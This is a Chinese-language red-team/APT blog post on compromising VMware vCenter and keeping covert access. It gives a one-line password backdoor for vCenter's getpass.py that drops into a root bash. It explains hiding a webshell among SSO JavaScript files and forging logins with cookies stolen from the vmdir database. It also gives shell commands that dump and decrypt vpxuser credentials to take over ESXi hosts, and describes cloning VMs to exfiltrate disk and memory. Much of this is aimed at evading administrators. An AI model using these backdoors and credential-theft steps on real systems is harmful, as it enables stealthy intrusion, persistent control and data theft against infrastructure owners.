红队/APT视角的vcenter的一些利用和权限留存的想法

⚠️ 本文仅供安全研究与学习使用,严禁用于非法用途。攻击vcenter等设施属于高度敏感的攻击方式,若未经授权实施,将可能违反法律法规,请在合法授权范围内进行测试与实践。

Getshell

随着时间的推移,两个CVE-2021-21972和22005已经不再好使了,只能在部分安全比较差的内网打了,过去这几年大部分vcenter都升级了版本.虽然有几个比较新的2024/2025年的CVE,听说危害很大,但是目前网上还没有公开的poc

image-20250418002516098

所以渗透打点这块就只能各显神通,可能是nday,也可能是弱密码,也可能是某些ipmi,whatever

总之我们最终要达到的效果是先拿到vcenter的shell

CVE-2021-21972的问题

这个CVE拿到的权限是vsphere-ui,这个身份是没用的,要使用vdcadmintool,或者导出数据库等等操作,都必须要有root权限,所以就必须要提权

image-20250418004956805

一般来说21972能打通的,22005也能打通,所以不如用CVE-2021-22005去上传webshell然后拿root权限

然而,这个洞也不能说一无是处,我们依然可以通过利用CVE-2021-22948,也就是读权限配置不当的/etc/vmware-vpx/vcdb.properties来获取postgresql数据库密码,最后解密vpxuser密码,从而控制其他esxi

image-20250418005926469

还有就是CVE-2021-22015,可以通过修改二进制文件的方式最终提权的root,但是风险都很高,毕竟要对业务进行实际操作

关于这两个提权,具体可看这位大佬的: geekby.site - vCenter 漏洞利用

开启ssh

vcenter和esxi一样,默认都是不开ssh的,我们登入了后台以后,我们可以通过开启ssh来获得shell

通过vsphere web client打开ssh

首先登录vsphere, 点击侧边栏菜单, 然后找system configuration, 最后把对应vcenter node展开, 点击login

image-20250418003522805

会弹出一个新的页面, 端口号应该是5480, 这是vcenter的管理界面, 然后点击access, 再点击右边edit

image-20250418004420893

最后全部打开,然后保存即可, 我这里就不具体打开做演示了

image-20250418003751281

通过console打开

其实这个打开方式意义不大, 因为基本上在大型内网渗透里面,你只拿到ipmi, 但是摸不到vcenter(比如vcenter被放在隔离内网里面),打开ssh也没有意义, 而且登录console也是需要密码的, 如果你能拿到密码,那么登录vsphere client也更方便. 总之,考虑到有人可能用得到,先贴在这里:

image-20250418004103857

把这两个打开即可

image-20250418004504673

权限留存

可能有人会问,我们为什么要getshell?难道不是登录client然后打vm实例就可以了?确实,如果你只是想护网刷分,那确实无所谓

但我们是APT/红队视角, 所以我们仍然需要做一些权限留存. 毕竟,管理员也可以改密码, 针对vcenter这样的外号小域控的机器, 我们当然是希望管理员不要发现有人获得了vcenter的权限, 退一万步讲,即使它发现了并修改了密码, 我们也希望能够以其他方式再次获得权限, 从而实现对机器/VMs的持久化控制

登录模块植入后门

我们查看/etc/passwd就可以看到 root:x:0:0:root:/root:/bin/appliancesh

实际上采用了一个自定义的模块来实现认证,这里不管你是私钥登录还是密码登录,连上后都需要再输一次密码,才能获得shell

image-20250418012858212

这里我们观察pstree可以看到

image-20250418013048458

这个进程实际上来自于 /usr/lib/applmgmt/base/bin/vherdrunner.py

如果我们不输入密码,直接按Ctrl+C,则可以看到一些python的报错,其中比较引人注意的是这个getpass.py

image-20250418013533350

我们观察代码,注意到有这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def unix_getpass(prompt='Password: ', stream=None):
passwd = None
with contextlib.ExitStack() as stack:
try:
# Always try reading and writing directly on the tty first.
fd = os.open('/dev/tty', os.O_RDWR|os.O_NOCTTY)
tty = io.FileIO(fd, 'w+')
stack.enter_context(tty)
input = io.TextIOWrapper(tty)
stack.enter_context(input)
if not stream:
stream = input
except OSError as e:
# If that fails, see if stdin can be controlled.
stack.close()
try:
fd = sys.stdin.fileno()
except (AttributeError, ValueError):
fd = None
passwd = fallback_getpass(prompt, stream)
input = sys.stdin
if not stream:
stream = sys.stderr

if fd is not None:
try:
old = termios.tcgetattr(fd) # a copy to save
new = old[:]
new[3] &= ~termios.ECHO # 3 == 'lflags'
tcsetattr_flags = termios.TCSAFLUSH
if hasattr(termios, 'TCSASOFT'):
tcsetattr_flags |= termios.TCSASOFT
try:
termios.tcsetattr(fd, tcsetattr_flags, new)
passwd = _raw_input(prompt, stream, input=input)
finally:
termios.tcsetattr(fd, tcsetattr_flags, old)
stream.flush() # issue7208
except termios.error:
if passwd is not None:
# _raw_input succeeded. The final tcsetattr failed. Reraise
# instead of leaving the terminal in an unknown state.
raise
# We can't control the tty or stdin. Give up and use normal IO.
# fallback_getpass() raises an appropriate warning.
if stream is not input:
# clean up unused file objects before blocking
stack.close()
passwd = fallback_getpass(prompt, stream)

stream.write('\n')
return passwd

这个函数读取了弹出提示,并读取密码,那么我们实际上可以通过修改这个python脚本,加入两句,硬编码一个后门,当我们输入自己设置的密码即可拿shell

1
if passwd == '^c3nter_1s_6nder_My_C0ntro1': os.execve('/bin/bash', ['/bin/bash'], os.environ)

这样的后门比较适合,你给root用户放一个私钥,或者你有vsphere-ui权限,使用su来提权,这样你下次连接的时候,可以用自己的密码,直接跳到shell里面,甚至不用管vcenter的设置中是否开了shell

image-20250418105515343 image-20250418110716091

效果如上,可以直接跳到shell中,甚至你也可以加入自己的逻辑,比如把有人登录就把密码发到自己的服务器上

webshell

webshell算是比较重要的一环,因为在管理员发现并关闭ssh后,我们依然可以通过webshell来控制vcenter,并且这种方法更隐蔽.

我们唯一需要注意的是权限问题,比如21972传上去的webshell就是只有vsphere-ui权限

所以这里我们可以借鉴22005的webshell的位置/usr/lib/vmware-sso/vmware-sts/webapps/ROOT,这个位置是sso登录使用的,所以以root权限来运行. 我们可以放到更深的位置,比如藏到resources/js/下和js文件放一起,这样眼睛不好很难看出有webshell

image-20250418112429470

随后利用webshell工具连接即可

利用

cookie登录

这个方法是最符合APT/红队需求的,因为这个方法不会导致密码重置,并且管理员发现并改密以后,依旧可以登录,我们这里不考虑重置密码的方法,因为这样动静太大,不管是护网还是红队都不合适

通过解密数据库登录获取cookie, 再用cookie登录web, 已经有大佬实现了脚本: github仓库: vcenter_saml_login

数据库的路径在/storage/db/vmware-vmdir/data.mdb, 这里说下几个可能踩坑的点:

  1. data.mdb默认权限是000,所以不能读写,建议是先cp到某个目录,比如tmp下,然后再修改复制后文件的权限
  2. vcenter_saml_login这个脚本的ldap,不能直接用pip install ldap装,而需要 pip install python-ldap
  3. 一些老版本的openssl可能会报出 AttributeError: module 'lib' has no attribute 'X509_V_FLAG_NOTIFY_POLICY'这个错误, 我换了个新版的机器好了, 或者也可以通过apt upgrade python3-openssl解决(适合ubuntu机型)
  4. 最后就是这个脚本是需要和vcenter进行交互的,所以最好放在同一个网络环境中,并且ip地址或者域名要填写正确,不然无法登录
image-20250418143917529

然后通过开发者工具+一个cookie,随后访问https://<COMPROMISED_VCENTER>/ui,即可自动跳转至vsphere管理界面中

image-20250418144049830

解密vpxuser

通过读取配置文件和导出postgresql里面的加密的密码,可以解密处vpxuser的密码,从而控制其他esxi

1
2
3
4
5
cat /etc/vmware-vpx/ssl/symkey.dat
cat /etc/vmware-vpx/vcdb.properties # 找出里面的密码
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc

python3 decrypt.py symkey.dat password.enc password.txt

然后根据脚本提示来解密即可,使用vpxuser账户可登录vcenter管理下的esxi的web端和ssh端, 并修改esxi的root密码

获得了esxi的root权限后即可考虑使用cve-2023-20867这类的漏洞来在vm上执行shellcode, 以下是来自于谷歌云的报告截图, 可惜的是互联网上还没有找到现成的20867的exp

image-20250419174456763

我还听说过一种攻击思路,来自于f1yyy大佬在阿里云先知上的课题, 就是hook vmx进程,调用dma_memory_read/write这类函数来读写vm实例中进程的内存, 并想办法注入shellcode 阿里云先知大会 回放

image-20250419175456408

克隆虚拟机

不论是什么常见,我们都不能直接把别人的服务器down掉,但是磁盘和内存,在虚拟机开机时,都处于占用状态(在datastore里面下载表现未HTTP 500),所以最好的办法是直接克隆一个虚拟机出来,再下载或者攻击

image-20250418145702338

需要注意的一个问题就是,加入我们真的要启动这个克隆的虚拟机,为了防止网络冲突,需要断开所有VM Network端口的连接

如果发生冲突可能导致最后甚至没法连接到Vcenter上,就炸锅了

如果要提取磁盘/内存,最好的方法是找一个内网机器来下载,(可以chrome先下载,然后打开F12-网络-选择下载的那个请求,然后选择导出为bash(curl)模式,这样就可以在其他linux机器上下载),然后再压缩打包,最后再拖到本地进行分析. 大部分的磁盘/内存都有很多空余, 之前拖过一个 500G的磁盘被压缩到500M,这个压缩1000倍率,确实很吓人


参考链接:

https://web.archive.org/web/20230525072835/https://daidaitiehanhan.github.io/2022/04/18/vCenter2021%E5%87%A0%E4%B8%AA%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%8E%E6%B8%97%E9%80%8F/#Velocity (这位师傅博客可能删除了,看的archive)

https://whoopsunix.com/docs/readTeam/vcenter/#%E7%89%88%E6%9C%AC%E6%8E%A2%E6%B5%8B

https://blog.ukotic.net/2020/08/06/enable-ssh-on-vcenter-server-7/

https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass